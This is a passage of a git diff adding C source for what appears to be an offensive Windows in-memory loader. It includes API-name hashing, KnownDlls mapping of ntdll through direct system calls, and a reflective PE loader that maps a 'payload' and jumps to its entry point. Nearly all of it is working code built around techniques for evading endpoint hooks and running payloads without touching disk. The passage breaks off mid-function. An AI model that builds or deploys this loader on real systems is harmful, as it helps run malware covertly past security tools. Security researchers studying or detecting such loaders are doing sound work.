hash = SND_HASH_SEED; + while (*str) { + char c = *str; + if (c >= 'A' && c <= 'Z') { + c += ('a' - 'A'); + } + hash ^= (unsigned char)c; + hash *= 16777619U; + str++; + } + return hash; +} + +SND_FORCE_INLINE DWORD snd_hash_djb2_wide_lower_internal(const wchar_t *str) { + if (!str) + return 0; + DWORD hash = SND_HASH_SEED; + while (*str) { + wchar_t c = *str; + if (c >= L'A' && c <= L'Z') { + c += (L'a' - L'A'); + } + hash = hash * 33 + (unsigned char)(c & 0xFF); + str++; + } + return hash; +} + +SND_FORCE_INLINE DWORD snd_hash_fnv1a_wide_lower_internal(const wchar_t *str) { + if (!str) + return 0; + DWORD hash = SND_HASH_SEED; + while (*str) { + wchar_t c = *str; + if (c >= L'A' && c <= L'Z') { + c += (L'a' - L'A'); + } + hash ^= (unsigned char)(c & 0xFF); + hash *= 16777619U; + str++; + } + return hash; +} + +DWORD snd_hash(const char *str) { +#if defined(SND_HASH_FNV1A) + return snd_hash_fnv1a_internal(str); +#else + return snd_hash_djb2_internal(str); +#endif +} + +DWORD snd_hash_lower(const char *str) { +#if defined(SND_HASH_FNV1A) + return snd_hash_fnv1a_lower_internal(str); +#else + return snd_hash_djb2_lower_internal(str); +#endif +} + +DWORD snd_hash_wide_lower(const wchar_t *str) { +#if defined(SND_HASH_FNV1A) + return snd_hash_fnv1a_wide_lower_internal(str); +#else + return snd_hash_djb2_wide_lower_internal(str); +#endif +} diff --git a/src/common/helpers.c b/src/common/helpers.c new file mode 100644 index 0000000..357dee5 --- /dev/null +++ b/src/common/helpers.c @@ -0,0 +1,39 @@ +#if SND_DEBUG +#include +#endif +#include +#include + +void snd_dump_hex(const void *dat, size_t len_dat, ULONG_PTR base_off) { +#if SND_DEBUG + ULONG_PTR real_offset = (ULONG_PTR)dat - base_off; + const BYTE *bytes = (const BYTE *)dat; + + for (size_t i = 0; i < len_dat; i += 0x10) { + SND_DEBUG_PRINT("0x%08zX\t", (size_t)(real_offset + i)); + + for (size_t j = 0; j < 16; j++) { + if (i + j < len_dat) { + SND_DEBUG_PRINT("%02x ", bytes[i + j]); + } else { + SND_DEBUG_PRINT(" "); + } + } + SND_DEBUG_PRINT(" "); + + for (size_t j = 0; j < 16; j++) { + if (i + j < len_dat) { + BYTE c = bytes[i + j]; + SND_DEBUG_PRINT("%c", isprint(c) ? c : '.'); + } else { + SND_DEBUG_PRINT(" "); + } + } + SND_DEBUG_PRINT("\n"); + } +#else + (void)dat; + (void)len_dat; + (void)base_off; +#endif +} diff --git a/src/common/status.c b/src/common/status.c new file mode 100644 index 0000000..530f9d6 --- /dev/null +++ b/src/common/status.c @@ -0,0 +1,149 @@ +#include + +const char *snd_status_to_string(snd_status_t status) { +#if SND_DEBUG + switch (status.code) { + case SND_SUCCESS: + return "Operation completed successfully"; + case SND_ERROR_GENERIC: + return "An unspecified error occurred"; + case SND_STATUS_INVALID_PARAMETER: + return "Invalid function parameter"; + case SND_STATUS_INTEGER_OVERFLOW: + return "Integer overflow"; + case SND_STATUS_UNSUPPORTED: + return "Unsupported operation"; + case SND_STATUS_NOT_INITIALIZED: + return "A paramater is not initialized."; + + // Command-line argument errors + case SND_STATUS_MISSING_COMMAND_LINE_ARGS: + return "Required command-line arguments are missing"; + case SND_STATUS_INVALID_COMMAND_LINE_ARG: + return "Unknown or invalid command-line argument"; + + // File / input errors + case SND_STATUS_INVALID_PATH: + return "Payload path is invalid"; + case SND_STATUS_FILE_CREATE_FAILED: + return "Failed to open specified file"; + case SND_STATUS_FILE_SIZE_QUERY_FAILED: + return "Failed to query file size"; + case SND_STATUS_FILE_TOO_LARGE: + return "File too large"; + case SND_STATUS_FILE_TOO_SMALL: + return "File too small"; + case SND_STATUS_FILE_READ_FAILED: + return "Failed to read file"; + case SND_STATUS_ALLOC_FAILED: + return "Failed to allocate memory"; + + // PE parsing / validation errors + case SND_STATUS_DOS_HEADER_TRUNCATED: + return "PE is truncated before DOS header"; + case SND_STATUS_INVALID_DOS_SIGNATURE: + return "Invalid DOS signature (MZ)"; + case SND_STATUS_NT_HEADERS_TRUNCATED: + return "PE is truncated before NT headers"; + case SND_STATUS_INVALID_NT_SIGNATURE: + return "Invalid NT signature (PE)"; + case SND_STATUS_INVALID_NT_HEADER_OFFSET: + return "Invalid NT header offset"; + case SND_STATUS_UNSUPPORTED_OPTIONAL_HEADER_MAGIC: + return "Unsupported PE optional header format"; + case SND_STATUS_INVALID_SECTION_COUNT: + return "PE has an invalid section count"; + case SND_STATUS_SECTION_TABLE_OVERFLOW: + return "PE section table size overflow"; + case SND_STATUS_INVALID_SECTION_TABLE: + return "PE section table is invalid or truncated"; + case SND_STATUS_ARCH_MISMATCH: + return "Payload architecture does not match loader architecture"; + case SND_STATUS_ENTRY_POINT_NOT_FOUND: + return "Entry point not found"; + case SND_STATUS_INVALID_IMPORT_TABLE_SIZE: + return "Invalid import table size"; + case SND_STATUS_INVALID_FILE_OFFSET: + return "Invalid file offset"; + case SND_STATUS_DIRECTORY_NOT_FOUND: + return "Directory not found"; + + // Reflective loading errors + case SND_STATUS_SECTION_COPY_FAILED: + return "Failed to copy PE sections into mapped image"; + case SND_STATUS_RELOCATION_DIRECTORY_INVALID: + return "PE relocation directory is invalid"; + case SND_STATUS_RELOCATION_PATCH_OUT_OF_RANGE: + return "PE relocation patch target is out of range"; + case SND_STATUS_RELOCATION_TYPE_UNSUPPORTED: + return "PE uses unsupported relocation type"; + case SND_STATUS_IMPORT_DIRECTORY_INVALID: + return "PE import directory is invalid"; + case SND_STATUS_IMPORT_DLL_LOAD_FAILED: + return "Failed to load imported DLL"; + case SND_STATUS_IMPORT_THUNK_INVALID: + return "PE import thunk table is invalid"; + case SND_STATUS_IMPORT_SYMBOL_RESOLVE_FAILED: + return "Failed to resolve imported symbol"; + case SND_STATUS_PROTECTION_UPDATE_FAILED: + return "Failed to set section memory protections"; + case SND_STATUS_DLL_INITIALIZATION_FAILED: + return "DLL entry point returned failure"; + case SND_STATUS_EXPORT_DIRECTORY_INVALID: + return "PE export directory is invalid"; + case SND_STATUS_EXPORT_NOT_FOUND: + return "Requested export was not found"; + case SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED: + return "Forwarded exports are not supported"; + case SND_STATUS_MISSING_DLL_EXPORT_NAME: + return "DLL payload requires an export name"; + case SND_STATUS_INVALID_STAGE_SEQUENCE: + return "Invalid stage sequence while loading the PE"; + case SND_STATUS_CORRUPTED_STATE: + return "State is corrupted"; + case SND_FAILED_TO_EXECUTE: + return "Failed to execute the PE"; + + // SSN related errors + case SND_STATUS_SSN_NOT_FOUND: + return "SSN not found"; + case SND_STATUS_SSN_BUFFER_TOO_SMALL: + return "SSN buffer too small"; + + // PEB related errors + case SND_STATUS_PEB_MODULE_NOT_FOUND: + return "PEB module not found"; + + default: + return "Unknown error code"; + } +#else + (void)status; + return ""; +#endif +} + +void snd_status_print(snd_status_t status) { +#if SND_DEBUG + const char *description = snd_status_to_string(status); + + if (status.code == SND_SUCCESS) { + SND_DEBUG_PRINT("[+] Success: %s\n", description); + } else { + SND_DEBUG_PRINT("[-] Error: %s\n", description); + + if (status.context[0] != '\0') { + SND_DEBUG_PRINT(" Context: %s\n", status.context); + } + + if (status.os_error != 0) { + SND_DEBUG_PRINT(" OS Error: %lu (0x%08lX)\n", (unsigned long)status.os_error, + (unsigned long)status.os_error); + } + + SND_DEBUG_PRINT(" Location: %s:%d\n", status.file ? status.file : "unknown", status.line); + } +#else + (void)status; +#endif +} diff --git a/src/loaders/knowndlls/knowndlls.c b/src/loaders/knowndlls/knowndlls.c new file mode 100644 index 0000000..732feee --- /dev/null +++ b/src/loaders/knowndlls/knowndlls.c @@ -0,0 +1,74 @@ +#include +#include +#include + +#ifndef SECTION_MAP_READ +#define SECTION_MAP_READ 0x0004 +#endif +#ifndef SECTION_QUERY +#define SECTION_QUERY 0x0001 +#endif +#ifndef ViewShare +#define ViewShare 1 +#endif + +snd_status_t snd_map_knowndll(const snd_knowndlls_config_t *config, const wchar_t *dll_name, PVOID *out_base_address) { + if (!config || !out_base_address || !dll_name) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + + *out_base_address = NULL; + + if (!config->open_section || !config->map_view_of_section) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + + wchar_t full_path[MAX_PATH]; + full_path[0] = L'\0'; + + const wchar_t *prefix = SND_TARGET_KNOWNDLLS_DIR; + int i = 0; + while (prefix[i] != L'\0' && i < MAX_PATH - 1) { + full_path[i] = prefix[i]; + i++; + } + + int j = 0; + while (dll_name[j] != L'\0' && i < MAX_PATH - 1) { + full_path[i] = dll_name[j]; + i++; + j++; + } + full_path[i] = L'\0'; + + SND_UNICODE_STRING us; + us.Buffer = full_path; + us.Length = (USHORT)(i * sizeof(wchar_t)); + us.MaximumLength = us.Length + sizeof(wchar_t); + + SND_OBJECT_ATTRIBUTES oa; + SND_InitializeObjectAttributes(&oa, &us, SND_OBJ_CASE_INSENSITIVE, NULL, NULL); + + HANDLE hSection = NULL; + snd_status_t status = config->open_section(&hSection, SECTION_MAP_READ | SECTION_QUERY, &oa); + + if (status.code != SND_SUCCESS || !hSection) { + return status; + } + + PVOID base_addr = NULL; + SIZE_T view_size = 0; + + status = config->map_view_of_section(hSection, (HANDLE)-1, &base_addr, 0, 0, NULL, &view_size, ViewShare, 0, + PAGE_READONLY); + + if (config->close_handle) { + config->close_handle(hSection); + } + + if (status.code != SND_SUCCESS || !base_addr) { + return status; + } + + *out_base_address = base_addr; + return SND_OK; +} diff --git a/src/loaders/knowndlls/native.c b/src/loaders/knowndlls/native.c new file mode 100644 index 0000000..d13c820 --- /dev/null +++ b/src/loaders/knowndlls/native.c @@ -0,0 +1,71 @@ +#include +#include +#include +#include +#include + +#ifndef STATUS_UNSUCCESSFUL +#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) +#endif + +static snd_status_t WINAPI native_NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, + PSND_OBJECT_ATTRIBUTES ObjectAttributes) { + snd_syscall_entry_t entry = {0}; + snd_status_t resolve_status = snd_resolve_syscall(SND_HASH_NTOPENSECTION, &entry); + if (resolve_status.code != SND_SUCCESS) + return resolve_status; + + snd_syscall_args_t args = {0}; + args.ssn = entry.wSystemCall; + args.arg1 = SectionHandle; + args.arg2 = (PVOID)(ULONG_PTR)DesiredAccess; + args.arg3 = ObjectAttributes; + + NTSTATUS status = snd_invoke_syscall_asm(&args); + return NT_SUCCESS(status) ? SND_OK : SND_ERR_CTX(SND_ERROR_GENERIC, "NtOpenSection failed via native syscall"); +} + +static snd_status_t WINAPI native_NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, + ULONG_PTR ZeroBits, SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, + DWORD InheritDisposition, ULONG AllocationType, + ULONG Win32Protect) { + snd_syscall_entry_t entry = {0}; + snd_status_t resolve_status = snd_resolve_syscall(SND_HASH_NTMAPVIEWOFSECTION, &entry); + if (resolve_status.code != SND_SUCCESS) + return resolve_status; + + snd_syscall_args_t args = {0}; + args.ssn = entry.wSystemCall; + args.arg1 = SectionHandle; + args.arg2 = ProcessHandle; + args.arg3 = BaseAddress; + args.arg4 = (PVOID)ZeroBits; + args.arg5 = (PVOID)CommitSize; + args.arg6 = SectionOffset; + args.arg7 = ViewSize; + args.arg8 = (PVOID)(ULONG_PTR)InheritDisposition; + args.arg9 = (PVOID)(ULONG_PTR)AllocationType; + args.arg10 = (PVOID)(ULONG_PTR)Win32Protect; + + NTSTATUS status = snd_invoke_syscall_asm(&args); + return NT_SUCCESS(status) ? SND_OK : SND_ERR_CTX(SND_ERROR_GENERIC, "NtMapViewOfSection failed via native syscall"); +} + +static snd_status_t WINAPI native_NtClose(HANDLE Handle) { + snd_syscall_entry_t entry = {0}; + snd_status_t resolve_status = snd_resolve_syscall(SND_HASH_NTCLOSE, &entry); + if (resolve_status.code != SND_SUCCESS) + return resolve_status; + + snd_syscall_args_t args = {0}; + args.ssn = entry.wSystemCall; + args.arg1 = Handle; + + NTSTATUS status = snd_invoke_syscall_asm(&args); + return NT_SUCCESS(status) ? SND_OK : SND_ERR_CTX(SND_ERROR_GENERIC, "NtClose failed via native syscall"); +} + +const snd_knowndlls_config_t snd_knowndlls_native = {.open_section = native_NtOpenSection, + .map_view_of_section = native_NtMapViewOfSection, + .close_handle = native_NtClose}; diff --git a/src/loaders/knowndlls/win.c b/src/loaders/knowndlls/win.c new file mode 100644 index 0000000..fe4e26b --- /dev/null +++ b/src/loaders/knowndlls/win.c @@ -0,0 +1,60 @@ +#include +#include +#include + +typedef NTSTATUS(NTAPI *NtOpenSection_t)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, + PSND_OBJECT_ATTRIBUTES ObjectAttributes); + +typedef NTSTATUS(NTAPI *NtMapViewOfSection_t)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, + ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, + ULONG Win32Protect); + +typedef NTSTATUS(NTAPI *NtClose_t)(HANDLE Handle); + +static snd_status_t WINAPI win_NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, + PSND_OBJECT_ATTRIBUTES ObjectAttributes) { + HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); + if (!ntdll) + return SND_ERR_W32(SND_ERROR_GENERIC); + + NtOpenSection_t pNtOpenSection = (NtOpenSection_t)GetProcAddress(ntdll, "NtOpenSection"); + if (!pNtOpenSection) + return SND_ERR_W32(SND_ERROR_GENERIC); + + NTSTATUS status = pNtOpenSection(SectionHandle, DesiredAccess, ObjectAttributes); + return NT_SUCCESS(status) ? SND_OK : SND_ERR_CTX(SND_ERROR_GENERIC, "NtOpenSection failed via GetProcAddress"); +} + +static snd_status_t WINAPI win_NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, + ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, + ULONG Win32Protect) { + HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); + if (!ntdll) + return SND_ERR_W32(SND_ERROR_GENERIC); + + NtMapViewOfSection_t pNtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(ntdll, "NtMapViewOfSection"); + if (!pNtMapViewOfSection) + return SND_ERR_W32(SND_ERROR_GENERIC); + + NTSTATUS status = pNtMapViewOfSection(SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, + SectionOffset, ViewSize, InheritDisposition, AllocationType, Win32Protect); + return NT_SUCCESS(status) ? SND_OK : SND_ERR_CTX(SND_ERROR_GENERIC, "NtMapViewOfSection failed via GetProcAddress"); +} + +static snd_status_t WINAPI win_NtClose(HANDLE Handle) { + HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); + if (!ntdll) + return SND_ERR_W32(SND_ERROR_GENERIC); + + NtClose_t pNtClose = (NtClose_t)GetProcAddress(ntdll, "NtClose"); + if (!pNtClose) + return SND_ERR_W32(SND_ERROR_GENERIC); + + NTSTATUS status = pNtClose(Handle); + return NT_SUCCESS(status) ? SND_OK : SND_ERR_CTX(SND_ERROR_GENERIC, "NtClose failed via GetProcAddress"); +} + +const snd_knowndlls_config_t snd_knowndlls_win = { + .open_section = win_NtOpenSection, .map_view_of_section = win_NtMapViewOfSection, .close_handle = win_NtClose}; diff --git a/src/loaders/reflective/chain.c b/src/loaders/reflective/chain.c new file mode 100644 index 0000000..779a732 --- /dev/null +++ b/src/loaders/reflective/chain.c @@ -0,0 +1,116 @@ +#include +#include +#include +#include + +typedef BOOL(WINAPI *snd_dll_entry_proc_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); +typedef void(WINAPI *snd_export_proc_t)(LPVOID, LPVOID, LPVOID, LPVOID); +typedef void (*snd_exe_entry_proc_t)(void); + +void snd_detach_reflective_image(snd_loader_ctx_t *ctx) { + if (ctx == NULL || ctx->stage != SND_STAGE_EXECUTED) { + return; + } + + if (ctx->pe.is_dll) { + snd_get_entry_point(ctx); + if (ctx->target.entry_point != NULL) { + snd_dll_entry_proc_t dll_main = (snd_dll_entry_proc_t)ctx->target.entry_point; + dll_main((HINSTANCE)ctx->target.virtual_base, DLL_PROCESS_DETACH, NULL); + } + snd_execute_tls_callbacks(ctx, DLL_PROCESS_DETACH); + } + + snd_free_mapped_image(ctx); +} + +snd_status_t snd_prepare_reflective_image(snd_loader_ctx_t *ctx) { + if (ctx == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + snd_status_t status; + + SND_DEBUG_PRINT("[*] Initiating PE reflection chain...\n"); + + status = snd_pe_parse(ctx->raw_source, FALSE, &ctx->pe); + if (status.code != SND_SUCCESS) { + return status; + } + + ctx->stage = SND_STAGE_PARSED; + + status = snd_compatibility_check(ctx); + if (status.code != SND_SUCCESS) { + return status; + } + + status = snd_allocate_and_copy_image(ctx); + if (status.code != SND_SUCCESS) { + return status; + } + status = snd_apply_relocations(ctx); + if (status.code != SND_SUCCESS) { + return status; + } + status = snd_resolve_imports(ctx); + if (status.code != SND_SUCCESS) { + return status; + } + status = snd_apply_memory_protections(ctx); + if (status.code != SND_SUCCESS) { + return status; + } + + SND_DEBUG_PRINT("[+] Image successfully prepared and ready for execution.\n"); + return SND_OK; +} + +snd_status_t snd_execute_reflective_image(snd_loader_ctx_t *ctx) { + if (ctx == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + if (ctx->stage < SND_STAGE_READY_FOR_EXECUTION) { + return SND_ERR_CTX(SND_STATUS_INVALID_STAGE_SEQUENCE, + "Cannot execute image. Current stage is %d, required " + "is READY_FOR_EXECUTION.", + ctx->stage); + } + + snd_status_t status = snd_get_entry_point(ctx); + if (status.code != SND_SUCCESS) { + return status; + } + + snd_execute_tls_callbacks(ctx, DLL_PROCESS_ATTACH); + + void *entry_point = ctx->target.entry_point; + if (ctx->pe.is_dll) { + if (entry_point == NULL) { + ctx->stage = SND_STAGE_EXECUTED; + return SND_OK; + } + + SND_DEBUG_PRINT("[!] Executing DllMain at 0x%p...\n", entry_point); + snd_dll_entry_proc_t dll_main = (snd_dll_entry_proc_t)entry_point; + if (!dll_main((HINSTANCE)ctx->target.virtual_base, DLL_PROCESS_ATTACH, NULL)) { + SND_DEBUG_PRINT("[-] DllMain returned FALSE.\n"); + return SND_ERR(SND_STATUS_DLL_INITIALIZATION_FAILED); + } + + ctx->stage = SND_STAGE_EXECUTED; + SND_DEBUG_PRINT("[+] DLL initialized successfully.\n"); + return SND_OK; + } + + if (entry_point == NULL) { + return SND_ERR(SND_STATUS_ENTRY_POINT_NOT_FOUND); + } + + SND_DEBUG_PRINT("[!] Jumping to EXE Entry Point at 0x%p...\n", entry_point); + snd_exe_entry_proc_t exe_entry = (snd_exe_entry_proc_t)entry_point; + exe_entry(); + ctx->stage = SND_STAGE_EXECUTED; + return SND_OK; +} diff --git a/src/loaders/reflective/engine.c b/src/loaders/reflective/engine.c new file mode 100644 index 0000000..a3a0e76 --- /dev/null +++ b/src/loaders/reflective/engine.c @@ -0,0 +1,403 @@ +#include "../../parsers/pe/pe_section_utils.h" + +#include +#include +#include +#include +#include +#include + +static inline DWORD get_protection_flags(DWORD characteristics) { + static const DWORD protect_lookup[8] = { + PAGE_NOACCESS, // 000: No access flags set + PAGE_READWRITE, // 001: Write-only (Windows automatically elevates this to + // RW) + PAGE_READONLY, // 010: Read-only + PAGE_READWRITE, // 011: Read/Write + PAGE_EXECUTE, // 100: Execute-only + PAGE_EXECUTE_READWRITE, // 101: Execute/Write (Windows elevates to ERW) + PAGE_EXECUTE_READ, // 110: Execute/Read + PAGE_EXECUTE_READWRITE // 111: Execute/Read/Write + }; + + DWORD index = ((characteristics & IMAGE_SCN_MEM_EXECUTE) ? 4 : 0) | + ((characteristics & IMAGE_SCN_MEM_READ) ? 2 : 0) | ((characteristics & IMAGE_SCN_MEM_WRITE) ? 1 : 0); + + return protect_lookup[index]; +} + +static const char *stage_to_string(snd_loader_stage_t stage) { + switch (stage) { + case SND_STAGE_UNINITIALIZED: + return "UNINITIALIZED"; + case SND_STAGE_PARSED: + return "PARSED"; + case SND_STAGE_MEM_ALLOCATED: + return "MEM_ALLOCATED"; + case SND_STAGE_SECTIONS_MAPPED: + return "SECTIONS_MAPPED"; + case SND_STAGE_RELOCATED: + return "RELOCATED"; + case SND_STAGE_IMPORTS_RESOLVED: + return "IMPORTS_RESOLVED"; + case SND_STAGE_READY_FOR_EXECUTION: + return "READY_FOR_EXECUTION"; + case SND_STAGE_EXECUTED: + return "EXECUTED"; + default: + return "UNKNOWN_CORRUPTED"; + } +} + +static snd_status_t engine_pe_copy_sections(PVOID virtual_base, const snd_buffer_t *raw_source, + const snd_pe_parser_t *pe) { + BYTE *file_data = (BYTE *)raw_source->data; + SIZE_T file_size = raw_source->size; + + SIZE_T image_size = SND_PE_GET_NT_FIELD(pe, OptionalHeader.SizeOfImage); + DWORD headers_size = SND_PE_GET_NT_FIELD(pe, OptionalHeader.SizeOfHeaders); + + if (!snd_bounds_check(image_size, 0, headers_size)) { + return SND_ERR_CTX(SND_STATUS_SECTION_COPY_FAILED, "Invalid or corrupt PE headers size calculation."); + } + if (file_size < headers_size) { + return SND_ERR_CTX(SND_STATUS_SECTION_COPY_FAILED, + "Raw source file size is smaller than designated SizeOfHeaders."); + } + + snd_memcpy(virtual_base, file_data, headers_size); + + for (DWORD i = 0; i < pe->sections_count; i++) { + PIMAGE_SECTION_HEADER curr_section = &pe->section_head[i]; + char name[128]; + + snd_i_section_name(pe, curr_section, name, sizeof(name)); + + DWORD size_to_copy = snd_i_section_copy_size(curr_section); + DWORD loaded_size = snd_i_section_loaded_size(curr_section); + SIZE_T target_offset = (SIZE_T)curr_section->VirtualAddress; + + if (!snd_bounds_check(image_size, target_offset, loaded_size)) { + return SND_ERR_CTX(SND_STATUS_SECTION_COPY_FAILED, "Section %s outside image bounds.", name); + } + + BYTE *target_mem = SND_PTR_ADD(virtual_base, target_offset); + + if (size_to_copy > 0) { + SIZE_T source_offset = (SIZE_T)curr_section->PointerToRawData; + + if (source_offset >= file_size) { + size_to_copy = 0; + } else if (size_to_copy > file_size - source_offset) { + size_to_copy = (DWORD)(file_size - source_offset); + } + + if (size_to_copy > 0) { + BYTE *source_mem = SND_PTR_ADD(file_data, source_offset); + snd_memcpy(target_mem, source_mem, size_to_copy); + } + } + + if (loaded_size > size_to_copy) { + snd_memzero(target_mem + size_to_copy, loaded_size - size_to_copy); + } + } + + return SND_OK; +} + +static snd_status_t engine_pe_apply_memory_protections(PVOID virtual_base, const snd_pe_parser_t *pe, + const snd_memory_api_t *mem_api) { + DWORD headers_size = SND_PE_GET_NT_FIELD(pe, OptionalHeader.SizeOfHeaders); + SIZE_T image_size = SND_PE_GET_NT_FIELD(pe, OptionalHeader.SizeOfImage); + DWORD old_protect = 0; + + SIZE_T aligned_image_size = (image_size + SND_PAGE_SIZE - 1) & ~(SND_PAGE_SIZE - 1); + + SIZE_T max_virtual_address = headers_size; + for (DWORD i = 0; i < pe->sections_count; i++) { + PIMAGE_SECTION_HEADER section = &pe->section_head[i]; + SIZE_T section_end = (SIZE_T)section->VirtualAddress + snd_i_section_loaded_size(section); + if (section_end > max_virtual_address && section_end <= image_size) { + max_virtual_address = section_end; + } + } + SIZE_T active_image_size = (max_virtual_address + SND_PAGE_SIZE - 1) & ~(SND_PAGE_SIZE - 1); + if (active_image_size > aligned_image_size) + active_image_size = aligned_image_size; + + SIZE_T current_run_start = 0; + DWORD current_run_protect = 0; + SIZE_T current_run_length = 0; + + for (SIZE_T page_offset = 0; page_offset < aligned_image_size; page_offset += SND_PAGE_SIZE) { + BOOL is_exec = FALSE; + BOOL is_read = FALSE; + BOOL is_write = FALSE; + + SIZE_T page_end = page_offset + SND_PAGE_SIZE; + + if (page_offset < headers_size) { + is_read = TRUE; + } + + if (page_offset < active_image_size) { + for (DWORD i = 0; i < pe->sections_count; i++) { + PIMAGE_SECTION_HEADER section = &pe->section_head[i]; + if (section->SizeOfRawData == 0 && section->Misc.VirtualSize == 0) + continue; + + SIZE_T section_start = (SIZE_T)section->VirtualAddress; + SIZE_T section_size = (SIZE_T)snd_i_section_loaded_size(section); + + if (!snd_bounds_check(image_size, section_start, section_size)) { + return SND_ERR_CTX(SND_STATUS_PROTECTION_UPDATE_FAILED, "Section %.8s outside image bounds.", + section->Name); + } + + SIZE_T section_end = section_start + section_size; + + if (section_start < page_end && section_end > page_offset) { + if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) + is_exec = TRUE; + if (section->Characteristics & IMAGE_SCN_MEM_READ) + is_read = TRUE; + if (section->Characteristics & IMAGE_SCN_MEM_WRITE) + is_write = TRUE; + } + } + } + + DWORD characteristics = (is_exec ? IMAGE_SCN_MEM_EXECUTE : 0) | (is_read ? IMAGE_SCN_MEM_READ : 0) | + (is_write ? IMAGE_SCN_MEM_WRITE : 0); + DWORD page_protect = get_protection_flags(characteristics); + + if (page_offset == 0) { + current_run_protect = page_protect; + current_run_length = SND_PAGE_SIZE; + } else if (page_protect == current_run_protect) { + current_run_length += SND_PAGE_SIZE; + } else { + void *run_addr = SND_PTR_ADD(virtual_base, current_run_start); + snd_status_t prot_status = + mem_api->protect(run_addr, current_run_length, current_run_protect, &old_protect); + if (prot_status.code != SND_SUCCESS) { + return SND_ERR_CTX(SND_STATUS_PROTECTION_UPDATE_FAILED, "Failed to apply protection run"); + } + current_run_start = page_offset; + current_run_protect = page_protect; + current_run_length = SND_PAGE_SIZE; + } + } + + if (current_run_length > 0) { + void *run_addr = SND_PTR_ADD(virtual_base, current_run_start); + snd_status_t prot_status = mem_api->protect(run_addr, current_run_length, current_run_protect, &old_protect); + if (prot_status.code != SND_SUCCESS) { + return SND_ERR_CTX(SND_STATUS_PROTECTION_UPDATE_FAILED, "Failed to apply final protection run"); + } + } + + return SND_OK; +} + +snd_status_t snd_allocate_and_copy_image(snd_loader_ctx_t *ctx) { + if (ctx == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + if (ctx->stage != SND_STAGE_PARSED) { + return SND_ERR_CTX(SND_STATUS_INVALID_STAGE_SEQUENCE, "Sequence error: Expected %s, got %s", + stage_to_string(SND_STAGE_PARSED), stage_to_string(ctx->stage)); + } + + if (ctx->raw_source == NULL || ctx->raw_source->data == NULL) { + return SND_ERR_CTX(SND_STATUS_CORRUPTED_STATE, "State is PARSED but raw_source data pointer is NULL."); + } + + SIZE_T base = (SIZE_T)SND_PE_GET_NT_FIELD(&ctx->pe, OptionalHeader.ImageBase); + SIZE_T size = SND_PE_GET_NT_FIELD(&ctx->pe, OptionalHeader.SizeOfImage); + + snd_status_t alloc_status = + ctx->mem_api->alloc((LPVOID)base, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, &ctx->target.virtual_base); + if (alloc_status.code != SND_SUCCESS || ctx->target.virtual_base == NULL) { + alloc_status = + ctx->mem_api->alloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, &ctx->target.virtual_base); + if (alloc_status.code != SND_SUCCESS) { + return alloc_status; + } + } + + ctx->target.allocated_size = size; + ctx->stage = SND_STAGE_MEM_ALLOCATED; + + snd_status_t status = engine_pe_copy_sections(ctx->target.virtual_base, ctx->raw_source, &ctx->pe); + if (status.code != SND_SUCCESS) { + ctx->mem_api->free(ctx->target.virtual_base, 0, MEM_RELEASE); + ctx->target.virtual_base = NULL; + ctx->target.allocated_size = 0; + ctx->stage = SND_STAGE_PARSED; + return status; + } + + snd_buffer_t mapped_target_buf = {.data = ctx->target.virtual_base, .size = ctx->target.allocated_size}; + + status = snd_pe_parse(&mapped_target_buf, TRUE, &ctx->pe); + if (status.code != SND_SUCCESS) { + ctx->mem_api->free(ctx->target.virtual_base, 0, MEM_RELEASE); + ctx->target.virtual_base = NULL; + ctx->target.allocated_size = 0; + if (ctx->raw_source != NULL && ctx->raw_source->data != NULL) { + snd_pe_parse(ctx->raw_source, FALSE, &ctx->pe); + ctx->stage = SND_STAGE_PARSED; + } else { + ctx->stage = SND_STAGE_UNINITIALIZED; + } + return status; + } + + ctx->stage = SND_STAGE_SECTIONS_MAPPED; + return SND_OK; +} + +snd_status_t snd_apply_relocations(snd_loader_ctx_t *ctx) { + if (ctx == NULL) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + + if (ctx->stage != SND_STAGE_SECTIONS_MAPPED) { + return SND_ERR_CTX(SND_STATUS_INVALID_STAGE_SEQUENCE, "Sequence error: Expected %s, got %s", + stage_to_string(SND_STAGE_SECTIONS_MAPPED), stage_to_string(ctx->stage)); + } + + if (ctx->target.virtual_base == NULL) { + return SND_ERR_CTX(SND_STATUS_CORRUPTED_STATE, + "State mismatch: Stage reports %s but physical " + "virtual_base pointer is NULL.", + stage_to_string(ctx->stage)); + } + + SIZE_T base = (SIZE_T)SND_PE_GET_NT_FIELD(&ctx->pe, OptionalHeader.ImageBase); + + ctx->target.delta_offset = (LONG_PTR)ctx->target.virtual_base - (LONG_PTR)base; + + snd_status_t status = snd_pe_apply_relocations(ctx->target.virtual_base, ctx->target.delta_offset, &ctx->pe); + + if (status.code != SND_SUCCESS) { + return status; + } + + ctx->stage = SND_STAGE_RELOCATED; + + return SND_OK; +} + +snd_status_t snd_resolve_imports(snd_loader_ctx_t *ctx) { + if (ctx == NULL) + return 